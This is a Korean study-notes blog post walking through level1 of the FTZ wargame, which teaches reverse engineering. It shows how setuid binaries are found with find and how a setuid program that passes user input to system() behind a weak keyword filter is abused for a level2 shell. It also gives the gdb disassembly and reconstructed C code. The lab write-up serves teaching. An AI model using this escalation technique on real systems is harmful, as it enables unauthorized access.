본문 바로가기

Learning/└◆Reversing

02_level1 -> level2[FTZ] 백도어에 대한 이해와 디버깅 동작

 


■ Level1 -> Level2


 

 
 

■ 목적

백도어(Backdoor)에 대한 이해


■ 백도어란?

악의적인 프로그램(뒷문)

악의적인 사용자가 시스템의 보안 헛점을 응용하는 고의로 만들어진 프로그램이다.

목적은 시스템에 대한 사용자 인증 등 정상적인 절차를 거치지 않고 응용프로그램 또는 시스템에 접근할

수 있는 프로그램.


백도어의 종류.hwp


■ level1 문제


[level1]$ cd

[level1]$ ls -l

total 12

-rw-r--r--    1 root     root           47 Apr   4  2000  hint

drwxr-xr-x    2 root     level1      4096 Dec  7  2003  public_html

drwxrwxr-x   2 root     level1       4096 Aug 19 21:45  tmp


[level1]$ cat hint

 

level2 권한에 setuid가 걸린 파일을 찾는다.

 


[참고]

find 명령어 사용법.hwp

특수퍼미션.hwp


[level1]$ find / -user level2 -perm -4000 2>/dev/null

 /bin/ExecuteMe


[level1]$ ls -l /bin/ExecuteMe

 -rwsr-x--- 1  level2    level1  12868  Aug  19  13:01  /bin/ExecuteMe


[level1]$ /bin/ExecuteMe

 

레벨2의 권한으로 당신이 원하는 명령어를

한가지 실행시켜 드리겠습니다.

(, my-pass chmod는 제외)

 

어떤 명령을 실행시키겠습니까?

 

[level2@ftz level2]$ bash

 

[level2@ftz level2]$ my-pass

 

Level2 Password is "hacker or cracker".

 

 

[용어] White hacker(hacker)/Black hacker(cracker)/Gray hacker(Pentesting)


[level1]$ exit

[level1]$ telnet localhost

level2/hacker or cracker


[level2]$ exit

[level1]$


 

■ 리버싱을 통한 의사 코드(가상코드) 복원


의사코드(가상코드)? 리버싱을 통해 원본 소스코드를 복원한 코드이다. 소스코드를 복원할 때 배열의 크기나 조건문이 switch문으로 되어 있는지, if 문으로 되어 있는지에 대한 정확한 복원은 아니고 이런 부분에 대한 단순 복원 코드이다. 따라서 원본 코드와는 약간 다를수 있다.

 

 

프로그램 분석 방법(EX: 프로그램 실행시 분석 유무)

- 정적 분석

- 동적 분석

 

프로그램 분석 방법(EX: 소스 코드 존재 유무)

- 블랙 박스 기법

- 화이트 박스 기법

 

 

[level1@ftz level1]$ gdb /bin/ExecuteMe

(gdb) disassemble main

Dump of assembler code for function main:
0x08048488 <main+0>:    push   %ebp                  시작하는 부분 EBP(메모리 구조)의 주소를 스택에 저장
0x08048489 <main+1>:    mov    %esp,%ebp          현재 스택 포인터(ESP)를 스택 베이스 포인터(EBP)에 저장
0x0804848b <main+3>:    sub    $0x28,%esp               main()함수에서 사용할 변수의 공간을 확보(28만큼 뺀다)
0x0804848e <main+6>:    and    $0xfffffff0,%esp           and연산 esp값중 맨 마지막 값을 0처리 하기 위함
0x08048491 <main+9>:    mov    $0x0,%eax
0x08048496 <main+14>:   sub    %eax,%esp
0x08048498 <main+16>:   sub    $0xc,%esp                int system(const char *string);
0x0804849b <main+19>:   push  $0x8048680                push 스택값에 저장 call 호출
0x080484a0 <main+24>:   call    0x8048358 <system>   하나의 인자값을 갖는다.(실행될 명령어를 적는다.)
0x080484a5 <main+29>:   add    $0x10,%esp              0x8048680 주소값 string
0x080484a8 <main+32>:   sub    $0xc,%esp               (gdb) x/s 0x8048680

                                                                           0x8048680 <_IO_stdin_used+28>:   "/usr/bin/clear"


0x080484ab <main+35>:   push  $0x804868f              

0x080484b0 <main+40>:   call    0x8048378 <chdir>      int chdir(const char *path);
0x080484b5 <main+45>:   add    $0x10,%esp               이동하고싶은 path
0x080484b8 <main+48>:   sub    $0xc,%esp                (gdb) x/s 0x804868f
                                                                            0x804868f <_IO_stdin_used+43>:   "/home/level2"

 

0x080484bb <main+51>:   push  $0x80486a0                (gdb) x/s 0x80486a0 
0x080484c0 <main+56>:   call    0x80483a8 <printf>       "\n\n\n\t\t레벨2의 권한으로 당신이 원하는 명령..
0x080484c5 <main+61>:   add    $0x10,%esp
0x080484c8 <main+64>:   sub    $0xc,%esp
0x080484cb <main+67>:   push  $0x80486e0
0x080484d0 <main+72>:   call    0x80483a8 <printf>       "\t\t한가지 실행시켜 드리겠습니다.\n"
0x080484d5 <main+77>:   add    $0x10,%esp
0x080484d8 <main+80>:   sub    $0xc,%esp
0x080484db <main+83>:   push  $0x8048720
0x080484e0 <main+88>:   call    0x80483a8 <printf>        "\t\t(단, my-pass 와 chmod는 제외)\n"
0x080484e5 <main+93>:   add    $0x10,%esp
0x080484e8 <main+96>:   sub    $0xc,%esp
0x080484eb <main+99>:   push  $0x8048760
0x080484f0 <main+104>:  call     0x80483a8 <printf>        "\n\t\t어떤 명령을 실행시키겠습니까?\n"
0x080484f5 <main+109>:  add     $0x10,%esp
0x080484f8 <main+112>:  sub     $0xc,%esp
0x080484fb <main+115>:  push   $0x8048782
0x08048500 <main+120>:  call    0x80483a8 <printf>         "my-pass"

0x08048505 <main+125>:  add    $0x10,%esp
0x08048508 <main+128>:  sub    $0x4,%esp                          
0x0804850b <main+131>:  pushl 0x8049948                            (gdb) x/s 0x8049948   :    ""
0x08048511 <main+137>:  push  $0x1e                          1 = 16  e = 14  최대 30글자 형태
0x08048513 <main+139>:  lea     0xffffffd8(%ebp),%eax
0x08048516 <main+142>:  push  %eax                           
0x08048517 <main+143>:  call    0x8048368 <fgets>                 내가입력하는 저장된 공간에 첫 번째 주소

                                                          char *fgets(char *s, int size,

                                                          FILE *stream);
0x0804851c <main+148>:  add    $0x10,%esp
0x0804851f <main+151>:  lea      0xffffffd8(%ebp),%eax
0x08048522 <main+154>:  sub    $0x8,%esp
0x08048525 <main+157>:  push   $0x804879c                     string이 들어있는 첫 번째 주소 (비교값)
0x0804852a <main+162>:  push   %eax                             (gdb)x/s 0x804879c = "my-pass"
0x0804852b <main+163>:  call     0x8048388 <strstr>           비교하는 동작 고정된값,입력된값    


0x08048530 <main+168>:  add     $0x10,%esp
0x08048533 <main+171>:  test     %eax,%eax                    조건구문
0x08048535 <main+173>:  je        0x8048551 <main+201>     비교값이 같으면 main+201로 점프
0x08048537 <main+175>:  sub     $0xc,%esp
0x0804853a <main+178>:  push   $0x80487c0                 (gdb)x/s 0x80487c0 :
0x0804853f <main+183>:  call   0x80483a8 <printf>         "\n\t\tmy-pass 명령은 사용할 수 없습니다.\n\n"
0x08048544 <main+188>:  add    $0x10,%esp
0x08048547 <main+191>:  sub    $0xc,%esp
0x0804854a <main+194>:  push   $0x0
0x0804854c <main+196>:  call   0x80483c8 <exit>
0x08048551 <main+201>:  lea    0xffffffd8(%ebp),%eax
0x08048554 <main+204>:  sub    $0x8,%esp
0x08048557 <main+207>:  push   $0x80487e8
0x0804855c <main+212>:  push   %eax
0x0804855d <main+213>:  call   0x8048388 <strstr>
0x08048562 <main+218>:  add    $0x10,%esp
0x08048565 <main+221>:  test   %eax,%eax
0x08048567 <main+223>:  je     0x8048583 <main+251>
0x08048569 <main+225>:  sub    $0xc,%esp
0x0804856c <main+228>:  push   $0x8048800
0x08048571 <main+233>:  call   0x80483a8 <printf>
0x08048576 <main+238>:  add    $0x10,%esp
0x08048579 <main+241>:  sub    $0xc,%esp
0x0804857c <main+244>:  push   $0x0
0x0804857e <main+246>:  call   0x80483c8 <exit>
0x08048583 <main+251>:  sub    $0xc,%esp
0x08048586 <main+254>:  push   $0x8048826                          
0x0804858b <main+259>:  call   0x80483a8 <printf>                  (gdb)x/s 0x8048826 "\n\n"
0x08048590 <main+264>:  add    $0x10,%esp
0x08048593 <main+267>:  sub    $0x8,%esp
0x08048596 <main+270>:  push   $0xbba                              10진수 3002 (계산기 사용)
0x0804859b <main+275>:  push   $0xbba                              10진수 3002   Hex=BBA <--> Dec=3002
0x080485a0 <main+280>:  call   0x80483b8 <setreuid>            int setreuid(uid_t ruid, uid_t euid)


0x080485a5 <main+285>:  add    $0x10,%esp
0x080485a8 <main+288>:  sub    $0xc,%esp
0x080485ab <main+291>:  lea    0xffffffd8(%ebp),%eax
0x080485ae <main+294>:  push   %eax
0x080485af <main+295>:   call   0x8048358 <system>
0x080485b4 <main+300>:  add    $0x10,%esp
0x080485b7 <main+303>:  leave
0x080485b8 <main+304>:  ret
0x080485b9 <main+305>:  nop
0x080485ba <main+306>:  nop
0x080485bb <main+307>:  nop

 

 

 

 

분석한 내용을 바탕으로 의사 코드로 복원해 보면 다음과 같다.

# vi ExecuteMe.c

#include <stdio.h>

#include <string.h>

#include <unistd.h>

#include <stdlib.h>

 

int main(void)

{

 

         char input[29];

         char denyMyPass[] = "my-pass";

         char denyChmod[] = "chmod";

 

         system("/usr/bin/clear");

         chdir("/home/level2");

         printf("\n\n\n\t\t레벨2의 권한으로 당신이 원하는 명령어를\n");

         printf("\t\t한가지 실행시켜 드리겠습니다.\n");

         printf("\t\t(, my-passchmod는 제외)\n");

         printf("\t\t\t어떤 명령을 실행시키겠습니까?\n");

         printf("\n\n\t\t[level2@ftz level2]$ ");

 

         fgets(input, sizeof(input), stdin);

 

         if(strstr(input, denyMyPass) != NULL )

         {

                  printf("\n\tmy-pass 명령은 사용할 수 없습니다.\n\n");

                  exit(0);

         }

 

         if(strstr(input, denyChmod) != NULL )

         {

                  printf("\n\t\tchmod 명령은 사용할 수 없습니다.\n\n");

                  exit(0);

         }

         printf("\n\n");

          

         setreuid(3002,3002);

         system(input);

}

 

-> 프로그램을 해석해 보자.

-> [참고] Remote Shell/Web Shell은 무엇인가?

-> C언어의 system() 함수는 시스템에 명령을 실행할 때 사용하는 함수이다.

-> Java , PHP, Perl, Python 등 대부분의 언어에도 비슷한 함수가 존재한다.

 

의사코드에서 알수 있는 정보

  • ExecuteMe 프로그램 실행시 프롬프트는 printf 함수로 만들어 진것이다.

  • system() 함수를 통해 stdin 입력된 명령어를 수행한다.

■ 원본 소스 코드

 

 

 

추가 분석

$ vi test_main.c

main(){

 

$ gcc test_main.c

$ gdb a.out

(gdb) disassemble main

Dump of assembler code for function main:


0x080482f4 <main+0>:    push   %ebp
0x080482f5 <main+1>:    mov    %esp,%ebp
0x080482f7 <main+3>:    sub    $0x8,%esp
0x080482fa <main+6>:    and    $0xfffffff0,%esp
0x080482fd <main+9>:    mov    $0x0,%eax
0x08048302 <main+14>:   sub    %eax,%esp
0x08048304 <main+16>:   leave
0x08048305 <main+17>:   ret
0x08048306 <main+18>:   nop          형식을 갖추기위해 아무런 동작을 하지 않는 구문
0x08048307 <main+19>:   nop
End of assembler dump.

 

메인도 함수라서 동일한 동작을 한다.

 

$ vi test_main2.c

#include <stdio.h>

 

int main(void)

{

 

return 0;

 

} 

 

$ gcc test_main2.c

$ gdb a.out

(gdb) disassemble main

Dump of assembler code for function main:

0x080482f4 <main+0>:    push   %ebp
0x080482f5 <main+1>:    mov    %esp,%ebp
0x080482f7 <main+3>:    sub    $0x8,%esp
0x080482fa <main+6>:    and    $0xfffffff0,%esp
0x080482fd <main+9>:    mov    $0x0,%eax
0x08048302 <main+14>:   sub    %eax,%esp
0x08048304 <main+16>:   mov    $0x0,%eax
0x08048309 <main+21>:   leave
0x0804830a <main+22>:   ret
0x0804830b <main+23>:   nop
End of assembler dump.

 

return 0; 외에는 코드가 동일하다 (없으면 void)

 

int a=10; 추가

#include <stdio.h>

 

int main(void)

{

 

int a=10;

 

return 0;

 

}

 

 

 0x080482f4 <main+0>: push  %ebp

 0x080482f5 <main+1>: mov   %esp,%ebp     내용이없어 동일한 위치

 0x080482f7 <main+3>: sub   $0x8,%esp     높은주소에서 8만큼 뺀다.

                                          변수가 들어갈 공간확보(esp)

 0x080482fa <main+6>: and   $0xfffffff0,%esp  esp주소값 마지막을 0으로

 0x080482fd <main+9>: mov   $0x0,%eax      eax 의 값을 0으로  

 0x08048302 <main+14>: sub  %eax,%esp      esp - eax = esp

 0x08048304 <main+16>: movl $0xa,0xfffffffc(%ebp) 확보된 공간에 내용 입력

 0x0804830b <main+23>: mov  $0x0,%eax

 0x08048310 <main+28>: leave

 0x08048311 <main+29>: ret

 0x08048312 <main+30>: nop

 0x08048313 <main+31>: nop

 

 

a출력

#include <stdio.h>

 

int main(void)

{

 

int a=10;

 

printf("a: %d", a);

 

return 0;

 

}

 

 

 

 

 

 0x080482f4 <main+0>: push  %ebp

 0x080482f5 <main+1>: mov   %esp,%ebp     내용이없어 동일한 위치

 0x080482f7 <main+3>: sub   $0x8,%esp     높은주소에서 8만큼 뺀다.

                                          변수가 들어갈 공간확보(esp)

 0x080482fa <main+6>: and   $0xfffffff0,%esp  esp주소값 마지막을 0으로

 0x080482fd <main+9>: mov   $0x0,%eax      eax 의 값을 0으로  

 0x08048302 <main+14>: sub  %eax,%esp      esp - eax = esp

 0x08048304 <main+16>: movl $0xa,0xfffffffc(%ebp) 확보된 공간에 내용 입력

 0x0804833f <main+23>: sub $0x8,%esp

 0x08048342 <main+26>: pushl 0xfffffffc(%ebp)

 0x08048345 <main+29>: push $0x8048408

 0x0804834a <main+34>: call 0x8048268 <printf>

 0x0804834f <main+39>: add $0x10,%esp

 0x08048352 <main+42>: mov $0x0,%eax

 0x08048310 <main+28>: leave

 0x08048311 <main+29>: ret

 0x08048312 <main+30>: nop

 0x08048313 <main+31>: nop

 

 

 

 

 

(정리) 공격 방법과 관련 기술 정리

 

공격한 방법에 대한 순서 정리

  • 힌트 정보 확인(# cat hint)

  • 힌트 내용에 맞는 파일 검색(# find / -user level2 -perm -4000 2>/dev/null)

  • 찾은 프로그램 실행(# /bin/ExecuteMe)
    -> 의사 코드 복원(GDB 사용)

  • 찾은 프로그램의 버그 확인(다양한 방법)

 

관련된 기술 정리

  • find 명령어 사용법

  • 특수퍼미션(SetUID)의 개념

  • 어셈블리에 대한 소개

  • GDB 사용법에 대한 소개

  • 백도어에 대한 개념